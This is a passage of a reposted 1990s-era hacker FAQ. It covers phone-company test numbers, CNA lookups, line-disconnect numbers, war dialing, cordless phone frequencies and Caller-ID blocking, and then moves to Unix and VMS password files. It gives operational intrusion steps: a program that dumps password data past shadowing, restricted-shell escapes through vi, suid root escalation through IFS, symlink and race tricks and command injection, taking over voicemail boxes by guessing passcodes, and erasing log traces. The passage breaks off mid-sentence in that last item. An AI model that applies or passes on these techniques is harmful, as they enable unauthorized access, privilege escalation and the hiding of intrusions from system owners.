713 771-1499 771-1799
713 780-1499 780-1799
713 781-1499 997-1799
713 960-1499 960-1799
713 977-1499 977-1799
713 988-1499 988-1799
N 719 598-0009 598-0010
805 528-0044 528-0045
805 544-0044 544-0045
805 773-0044 773-0045
808 235-9907 235-9908
808 239-9907 239-9908
808 245-9907 245-9908
808 247-9907 247-9908
808 261-9907 261-9908
808 322-9907 322-9908
808 328-9907 328-9908
808 329-9907 329-9908
808 332-9907 332-9908
808 335-9907 335-9908
808 572-9907 572-9908
808 623-9907 623-9908
808 624-9907 624-9908
808 668-9907 668-9908
808 742-9907 742-9908
808 879-9907 879-9908
808 882-9907 882-9908
808 885-9907 885-9908
808 959-9907 959-9908
808 961-9907 961-9908
810 362-9996 362-9997
813 385-9971 385-xxxx
908 254-9929 254-9930
908 558-9929 558-9930
908 560-9929 560-9930
908 776-9930 776-9930

16. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number. If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find its phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies. Two such companies are:

Unidirectory (900)933-3330
Telename (900)884-1212

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public. The number is 796-9600. The cost is
$.35/call and can look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNL service at
(415)705-9299.

If you are in Bell Atlantic territory you can call (201)555-5454 or
(908)555-5454 for automated CNA information. The cost is $.50/call.

17. What is the telephone company CNA number for my area?

203 (203)771-8080 CT
312 (312)796-9600 Chicago, IL
506 (506)555-1313 New Brunswick
513 (513)397-9110 Cincinnati/Dayton, OH
516 (516)321-5700 Hempstead/Long Island, NY
614 (614)464-0123 Columbus/Steubenville, OH
813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode
Island, New Hampshire, and Massachusetts

18. What are some numbers that always ring busy?

In the following listings, "xxx" means that the same number is used as a
constantly busy number in many different prefixes. In most of these,
there are some exchanges that ring busy and some exchanges that are in
normal use. *ALWAYS* test these numbers at least three times during
normal business hours before using as a constantly busy number.

N 800 999-1803 WATS
N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ
N 212 724-9970 Manhattan, NY
N 213 xxx-1117 Los Angeles, CA
N 213 xxx-1118 Los Angeles, CA
N 213 xxx-1119 Los Angeles, CA
N 213 xxx-9198 Los Angeles, CA
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
303 431-0000 Denver, CO
303 866-8660 Denver, CO
N 310 xxx-1117 Long Beach, CA
N 310 xxx-1118 Long Beach, CA
N 310 xxx-1119 Long Beach, CA
N 310 xxx-9198 Long Beach, CA
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR
U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
N 714 xxx-1117 Anaheim, CA
N 714 xxx-1118 Anaheim, CA
N 714 xxx-1119 Anaheim, CA
N 714 xxx-9198 Anaheim, CA
N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA
N 818 xxx-1117 Pasadena, CA
N 818 xxx-1118 Pasadena, CA
N 818 xxx-1119 Pasadena, CA
N 818 xxx-9198 Pasadena, CA
U 818 885-0699 Pasadena, CA (???-0699 is a pattern)
N 860 525-7078 Hartford, CT
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI

19. What are some numbers that temporarily disconnect phone service?

If your NPA is not listed, or the listing does not cover your LATA,
try common numbers such as 119 (GTD5 switches) or 511.

314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
U 407 511 Orlando, FL (United Telephone) (1 minute)
N 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
603 980 NH
614 xxx-9894 Columbus/Steubenville, OH
805 119 Bakersfield/Santa Barbara, CA (3 minutes)
919 211 or 511 Durham, NC (10 min - 1 hour)

20. What is a Proctor Test Set?

A Proctor Test Set is a tool used by telco personnel to diagnose
problems with phone lines. You call the Proctor Test Set number and
press buttons on a touch tone phone to active the tests you select.

21. What is a Proctor Test Set in my area?

If your NPA is not listed try common numbers such as 111 or 117.

805 111 Bakersfield/Santa Barbara, CA
909 117 Tyler, TX
913 611-1111 Lawrence/Salina/Topeka, KS

22. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer. Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.

A war dialer will dial a range of numbers and log what it finds at
each number. You can then only dial up the numbers that the war
dialer marked as carriers or tones.

23. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ-
In some places, scanning has been made illegal. It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once. It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer. Some central offices have been
known to react strangely when people start scanning. Sometimes you're
unable to get a dialtone for hours after you start scanning. But
there is no uniform policy. The best thing to do is to first find out
if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.

24. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194

Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303

25. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get
when you press a key on your telephone touch pad. The tone of the
button is the sum of the column and row tones. The ABCD keys do not
exist on standard telephones.

1209 1336 1477 1633

697 1 2 3 A

770 4 5 6 B

852 7 8 9 C

941 * 0 # D

26. What are the frequencies of the telephone tones?

Type Hz On Off
---------------------------------------------------------------------
Dial Tone 350 & 440 --- ---
Busy Signal 480 & 620 0.5 0.5
Toll Congestion 480 & 620 0.2 0.3
Ringback (Normal) 440 & 480 2.0 4.0
Ringback (PBX) 440 & 480 1.5 4.5
Reorder (Local) 480 & 620 3.0 2.0
Invalid Number 200 & 400
Hang Up Warning 1400 & 2060 0.1 0.1
Hang Up 2450 & 2600 --- ---

27. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:

(These appear to be standard, but may be changed locally)

Service Tone Pulse/rotary Notes
--------------------------------------------------------------------------
Assistance/Police *12 n/a [1]
Cancel forwarding *30 n/a [C1]
Automatic Forwarding *31 n/a [C1]
Notify *32 n/a [C1] [2]
Intercom Ring 1 (..) *51 1151 [3]
Intercom Ring 2 (.._) *52 1152 [3]
Intercom Ring 3 (._.) *53 1153 [3]
Extension Hold *54 1154 [3]
Customer Originated Trace *57 1157
Selective Call Rejection *60 1160 (or Call Screen)
Selective Distinct Alert *61 1161
Selective Call Acceptance *62 1162
Selective Call Forwarding *63 1163
ICLID Activation *65 1165
Call Return (outgoing) *66 1166
Number Display Blocking *67 1167 [4]
Computer Access Restriction *68 1168
Call Return (incoming) *69 1169
Call Waiting disable *70 1170 [4]
No Answer Call Transfer *71 1171
Usage Sensitive 3 way call *71 1171
Call Forwarding: start *72 or 72# 1172
Call Forwarding: cancel *73 or 73# 1173
Speed Calling (8 numbers) *74 or 74# 1174
Speed Calling (30 numbers) *75 or 75# 1175
Anonymous Call Rejection *77 1177 [5] [M: *58]
Call Screen Disable *80 1180 (or Call Screen) [M: *50]
Selective Distinct Disable *81 1181 [M: *51]
Select. Acceptance Disable *82 1182 [4] [7]
Select. Forwarding Disable *83 1183 [M: *53]
ICLID Disable *85 1185
Call Return (cancel out) *86 1186 [6] [M: *56]
Anon. Call Reject (cancel) *87 1187 [5] [M: *68]
Call Return (cancel in) *89 1189 [6] [M: *59]

Notes:

[C1] - Means code used for Cellular One service
[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[7] - *82 (1182) has been mandated to be the nationwide code for
"Send CLID info regardless of the default setting on this
phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reassigned *5x

28. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.

Channel Handset Transmit Base Transmit
------- ---------------- -------------
1 49.670mhz 46.610mhz
2 49.845 46.630
3 49.860 46.670
4 49.770 46.710
5 49.875 46.730
6 49.830 46.770
7 49.890 46.830
8 49.930 46.870
9 49.990 46.930
10 49.970 46.970

The new "900mhz" cordless phones have been allocated the frequencies
between 902-228MHz, with channel spacing between 30-100KHz.

Following are some examples of the frequencies used by phones
currently on the market.

----------------------------------------------------------------
Panasonic KX-T9000 (60 Channels)
base 902.100 - 903.870 Base frequencies (30Khz spacing)
handset 926.100 - 927.870 Handset frequencies
CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
-- ------- ------- -- ------- ------- -- ------- -------
01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
10 902.370 926.370 20 902.670 926.670 30 902.970 926.970

31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
33 903.060 927.060 43 903.360 927.360 53 903.660 927.660
34 903.090 927.090 44 903.390 927.390 54 903.690 927.690
35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
40 903.270 927.270 50 903.570 927.570 60 903.870 927.870

------------------------------------------------------------

V-TECH TROPEZ DX900 (20 CHANNELS)
905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
925.5 - 927.4 HANDSET FREQUENCIES

CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
-- ------- ------- -- ------- ------- -- ------- -------
01 905.600 925.500 08 906.300 926.200 15 907.000 926.900
02 905.700 925.600 09 906.400 926.300 16 907.100 927.000
03 905.800 925.700 10 906.500 926.400 17 907.200 927.100
04 905.900 925.800 11 906.600 926.500 18 907.300 927.200
05 906.000 925.900 12 906.700 926.600 19 907.400 927.300
06 906.100 926.000 13 906.800 926.700 20 907.500 927.400
07 906.200 926.100 14 906.900 926.800

------------------------------------------------------------
Other 900mhz cordless phones
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ

------------------------------------------------------------

29. What is Caller-ID?

This FAQ answer is stolen from Rockwell:

Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.

Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:

Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load

Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.

| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |

Channel Seizure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).

Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.

Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).

Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.

Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:

o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field

If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".

Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the received
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.

Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word

Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.

Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.

Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst

Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.

1. The date, time, and calling party's directory number can be
displayed.

2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.

3. CND information can also be used in additional ways such as for:

a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base

References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(908) 699-5800

30. How do I block Caller-ID?

Always test as much as possible before relying on any method of blocking
Caller-ID. Some of these methods work in some areas, but not in others.

Dial *67 before you dial the number. (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
Dial from a pay phone. :-)

31. What is a PBX?

A PBX is a Private Branch Exchange. A PBX is a small telephone switch
owned by a company or organization. Let's say your company has a
thousand employees. Without a PBX, you would need a thousand phone
lines. However, only 10% of your employees are talking on the phone
at one time. What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines. This is a PBX.

32. What is a VMB?

A VMB is a Voice Mail Box. A VMB is a computer that acts as an
answering machine for hundreds or thousands of users. Each user will
have their own Voice Mail Box on the system. Each mail box will have
a box number and a pass code.

Without a passcode, you will usually be able to leave messages to
users on the VMB system. With a passcode, you can read messages and
administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over
by guessing their passcode. Often the passcode will be the mailbox
number or a common number such as 1234.

33. What are the ABCD tones for?

The ABCD tones are simply additional DTFM tones that may be used in any
way the standard (0-9) tones are used. The ABCD tones are used in the
U.S. military telephone network (AutoVon), in some Automatic Call
Distributor (ACD) systems, for control messages in some PBX systems, and
in some amateur radio auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys.
The ABCD keys are defined as such:

A - Flash
B - Flash override priority
C - Priority communication
D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor
(ACD) systems once used by Directory Assistance operators, you could
connect two callers together.

The purpose of the Silver Box is to create the ABCD tones.

See also "What are the DTMF Frequencies?"

34. What are the International Direct Numbers?

The numbers are used so that you may connect to an operator from a
foreign telephone network, without incurring long distance charges.
These numbers may be useful in blue boxing, as many countries still have
older switching equipment in use.

Australia (800)682-2878
Austria (800)624-0043
Belgium (800)472-0032
Belize (800)235-1154
Bermuda (800)232-2067
Brazil (800)344-1055
British VI (800)278-6585
Cayman (800)852-3653
Chile (800)552-0056
China (Shanghai) (800)532-4462
Costa Rica (800)252-5114
Denmark (800)762-0045
El Salvador (800)422-2425
Finland (800)232-0358
France (800)537-2623
Germany (800)292-0049
Greece (800)443-5527
Guam (800)367-4826
HK (800)992-2323
Hungary (800)352-9469
Indonesia (800)242-4757
Ireland (800)562-6262
Italy (800)543-7662
Japan (800)543-0051
Korea (800)822-8256
Macau (800)622-2821
Malaysia (800)772-7369
Netherlands (800)432-0031
Norway (800)292-0047
New Zealand (800)248-0064
Panama (800)872-6106
Portugal (800)822-2776
Philippines (800)336-7445
Singapore (800)822-6588
Spain (800)247-7246
Sweden (800)345-0046
Taiwan (800)626-0979
Thailand (800)342-0066
Turkey (800)828-2646
UK (800)445-5667
Uruguay (800)245-8411
Yugoslavia (800)367-9842 (Belgrade)
367-9841 (Zagreb)
USA from outside (800)874-4000 Ext. 107

Refferensi hacking 1-40

2009-05-27T13:58:00.000-07:00

Section A: Computers

01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. What can be logged on a VMS system?
10. What privileges are available on a VMS system?
11. How do I break out of a restricted shell?
12. How do I gain root from a suid script or program?
13. How do I erase my presence from the system logs?
u 14. How do I send fakemail?
15. How do I fake posts and control messages to UseNet?
16. How do I hack ChanOp on IRC?
U 17. How do I modify the IRC client to hide my real username?
18. How to I change to directories with strange characters in them?
U 19. What is ethernet sniffing?
20. What is an Internet Outdial?
21. What are some Internet Outdials?
U 22. What is this system?
U 23. What are the default accounts for XXX ?
24. What port is XXX on?
25. What is a trojan/worm/virus/logic bomb?
26. How can I protect myself from viruses and such?
27. Where can I get more information about viruses?
28. What is Cryptoxxxxxxx?
29. What is PGP?
30. What is Tempest?
31. What is an anonymous remailer?
U 32. What are the addresses of some anonymous remailers?
33. How do I defeat copy protection?
34. What is 127.0.0.1?
35. How do I post to a moderated newsgroup?
U 36. How do I post to Usenet via e-mail?
37. How do I defeat a BIOS password?
N 38. What is the password for ?
N 39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
N 40. How does the MS-Windows password encryption work?

Section A: Computers
~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:

Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell

]
] Sample entry from /etc/passwd:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Broken down, this passwd file line shows:

Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack. CrackerJack is available via ftp from clark.net
/pub/jcase/.

03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.

Example:

#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

04. Where can I find the password file if it's shadowed?

Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ of username>/
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ of username>/
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.

]
] Password aging characters from above example:
]
] M.z8
]

The four characters are interpreted as follows:

1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.

Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.

09. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for
investigation. To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version
number.

The following activities can be logged:

BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following
activities:

ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests

10. What privileges are available on a VMS system?

ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world

To determine what privileges your process is running with issue the command:

$ show proc/priv

11. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.

12. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.

Example:

% ln suid.sh -i
% -i
#

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.

Example:

suidprog ; id

13. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
